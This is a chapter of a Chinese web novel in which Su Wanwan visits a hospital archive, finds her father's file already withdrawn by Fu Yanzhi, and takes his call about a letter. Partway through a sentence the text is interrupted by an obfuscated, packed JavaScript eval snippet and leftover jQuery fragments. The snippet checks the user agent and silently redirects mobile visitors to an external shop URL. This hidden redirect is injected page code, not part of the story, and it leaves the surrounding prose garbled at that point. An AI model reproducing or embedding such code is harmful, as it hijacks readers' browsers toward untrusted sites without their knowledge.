车从秋明山开出来之后，顾西城没再说话。他坐在后座左侧，跟苏晚晚之间隔着一个座位的距离，右手搁在膝盖上，指尖轻轻点着，节奏很稳，像在默数什么。那只绒面首饰盒还躺在座椅上，盖子已经合上了，但苏晚晚握着那枚翡翠吊坠的手指没有松开——玉石的凉意从指腹渗进手掌，顺着掌根蔓延到小臂，沿着血管往上爬，最后停在锁骨下方某根肋骨的位置，像一枚冰凉的图钉按在那里。
“你打算一直握着它？”顾西城的声音响起来，不重，像在问一个很平常的问题。
苏晚晚没有低头看自己的手。她把手摊开，那枚吊坠躺在掌心里，墨绿色的絮状纹路在日光下若隐若现。“你说这是信物，”她说，“信什么？”
顾西城的目光从她掌心移到她脸上，停顿了一下。“信一个承诺。”他说，“但承诺是二十年前的。现在的你不需要为它负责。”
苏晚晚把吊坠握回掌心里，没有放回首饰盒。“你把我妈的东西还给我，我很感谢你。但别指望我会因为一枚吊坠就跟你走。”
“我没指望。”顾西城说。
车子下了秋明山，拐进一条小路。路两侧的梧桐树很高，枝叶在头顶交握，把阳光剪成碎片洒在挡风玻璃上。司机开得很稳，没有急刹，没有猛打方向，像这辆车本身就在这条路上走了很多次。开出去大概十分钟之后，苏晚晚看到路边有一个公交站牌——站牌下面站着一个人，女人，穿一件淡蓝色的连衣裙，撑着一把透明的塑料伞。
她认出了那个人。
公交车从另一侧开过来，挡住了视线。等公交车开走之后，那个位置空了，只剩站牌和一把被风吹歪的透明伞，伞骨断了一根，垂在空气中，像一只折断的翅膀。
苏晚晚没有说话。她把视线收回来，落在前挡风玻璃上。玻璃上有一道细小的裂纹，从右下角延伸出去，像一根细细的蛛丝，在阳光下几乎看不见。她看着那道裂纹，看了很久，直到车子在一栋灰色建筑前面停下来才把目光移开。
“这是哪？”
“锦城市第一人民医院。”顾西城说，“你母亲去世那天，救护车最后停在这里。你需要进去看看——不是看你母亲的病历，是看另一份东西。”
苏晚晚的手在车门把手上停住了。“你怎么知道我没来过？”
“你如果来过，就不会等到今天才去查那些账。”
苏晚晚推开车门，没有回头。她走进医院大厅的时候，消毒水的气味扑面而来，跟记忆里的某个角落对上了——她小时候发高烧，母亲带她来过一次。那时候她五岁，母亲还活着，抱着她坐在急诊室的塑料椅上，用手背贴着她的额头，一遍一遍地说“没事的，晚晚，没事的”。她在大厅中央站了一会儿，视线掠过急诊室的方向——那排塑料椅还在，换了新的，颜色从蓝色变成了绿色，但位置没变，靠墙第三张，她记得那张椅子腿底下垫着一小块纸板，为了不让它晃动。
她收回目光，走到咨询台，报了一个年份和一个病案号。
护士翻了翻电脑，告诉她资料在地下二层的档案室，需要院办主任签字才能调取。苏晚晚说了声谢谢，没有去问院办主任在哪，直接转身往楼梯口走。走到楼梯间门口的时候，手机震了一下。
她掏出来看，是秋姨发来的消息：“地下二层的保安姓周，五十三岁，在岗十一年。你告诉他你是苏振华的孙女。”
苏晚晚把消息又看了一遍，删掉，推开楼梯间的门，往下走。往下走的时候她忽然想——秋姨怎么会知道她来医院？那个保安的信息，是提前查好的，还是秋姨的联络网一直在监视她的位置？她把这个念头压在舌根下面，没有往深里想。
地下二层的光线很暗，走廊尽头的日光灯管坏了一根，剩下的那根在不停闪烁，发出细微的滋滋声，把地面上瓷砖的缝隙照得忽明忽暗。档案室的门关着，门口有一把塑料椅，一个穿深蓝色保安制服的中年男人坐在上面，正在翻一本卷了边的旧小说。
她走过去，对方抬起头来，脸上的皱纹在闪烁的灯光里显得很深。“找谁？”
“您好，我是苏振华的孙女。”
保安的目光在她脸上停了一会儿，然后合上小说，放在膝盖上。“你爸的东西，前两天有人来问过。”
苏晚晚的脊背微微绷紧了一下，没有让任何波动浮到表情上。“谁？”
“一个男的，三十出头，穿深色西装，开一辆白色的商务车。他没说要找什么，就问了一句‘苏振华的家属最近有没有来过’，我没说。”保安从口袋里掏出一把钥匙，站起来，打开了档案室的门，“你来晚了。那份东西昨天被人调走了。”
“谁调的？”
保安没有直接回答。他走进档案室，从靠墙的铁皮柜里抽出一个空文件夹，翻开，里面夹着一张借阅登记卡。卡上借阅人一栏写着三个字——“傅衍之”。
苏晚晚看着那个名字，沉默了几秒。她没有去碰那张登记卡，只是站在那里，看着那个名字在日光灯的照射下反射着一种塑料般的光泽。然后她转身走出了档案室，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741823|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没有跟保安说再见。
她在地下二层的走廊里站了一会儿，手机又震了。
这次不是秋姨的消息，是傅衍之的电话。
她看着屏幕上那个备注名——她给傅衍之存的备注是他自己的名字，一直没有改过——拇指在接听键上悬了两秒，她没有接。电话响了六声，断了。不到十秒又响起来，还是他。
她接了。
“苏晚晚。”他的声音从听筒里传来，跟三年前那个在民政局门口打电话说“公司有事，你自己打车回去”的声音一模一样——“你在哪？”
她没有回答，把手机从耳边拿开几寸，垂在身侧，看着走廊尽头那扇通往地面的铁门。铁门上有一块圆形的玻璃窗，透进来的光线是灰白色的，像一张被水浸湿的宣纸。她听筒里传来他的呼吸声——他大概在等她说话，没有挂断。她等了几个呼吸，然后把手机重新贴回耳边。
“有事？”
电话那端沉默了片刻，呼吸声清晰可闻。他的声音低了一些，像是把手机换到了另一只耳朵：“你昨天在秋明山。”
“你跟踪我？”
“你的车在公墓停车场停了两小时四十分钟。那辆银灰色的卡罗拉，车牌尾号719，我不用跟踪也能知道。”他顿了一下，“你去看了你妈？”
苏晚晚没有回答。她听到电话里有纸张翻动的声音，很轻，像他在看什么东西。
“傅衍之，你刚才是不是派人到医院调过我父亲的档案？”
电话那边又沉默了。这次沉默的时间比之前更长，长到她以为他挂了电话。然后她听到他吸了一口气——不是叹气，是一种很轻的、像是被什么噎住的吸气声。他开口的时候，语气变了——不是刚才那种试探的、带着一点居高临下意味的语气，而是一种她从未听过的、像是嗓子被什么东西堵住了的声音：“你爸临终前，留了一封信。信的内容……跟我有关系。”
苏晚晚握着手机的手指收紧了。那封信不在父亲那本蓝色笔记本里，不在铁皮饼干盒里，不在苏氏老厂的暗格里。“什么信？”
“你先告诉我你在哪。”
“傅衍之。”
“好，我不问你地址。”他顿了一下，呼吸声在听筒里变得更明显了，像他在努力让自己稳住，“那封信，我今天上午拿到了。内容跟我爸当年怎么拿到苏氏那块地有关。”
苏晚晚的呼吸顿了一拍，然后恢复了。“你现在在哪？”
“隐。”
她挂断电话，走出了医院大门。